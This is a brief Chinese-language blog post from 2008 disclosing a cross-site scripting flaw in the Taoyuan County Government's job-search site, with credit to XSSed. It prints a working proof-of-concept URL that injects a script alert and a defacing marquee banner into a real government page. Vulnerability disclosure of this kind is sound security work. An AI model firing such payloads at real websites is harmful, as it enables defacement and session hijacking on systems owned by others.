桃園縣政府人力e網通網站存在XSS安全漏洞

2008 年 10 月 05 日 – 23:29:25

桃園縣政府人力e網通網站存在XSS (Cross-Site Scripting) 安全漏洞。

測試語法,如下所示:
http://tbank.tycg.gov.tw/search/SearchResult.asp?p=gov&s=taoyuan_attach%27%22%3E%3C/title%3E%3Cscript%3Ealert(1337)%3C/script%3E%3E%3Cmarquee%3E%3Ch1%3EXSS%20by%20Stacker%3C/h1%3E%3C/marquee%3E

測試結果,如下圖所示:

注意:此資訊首先揭露於XSSed網站上,此文章之內容皆參考自XSSed網站。

請在此留下您的意見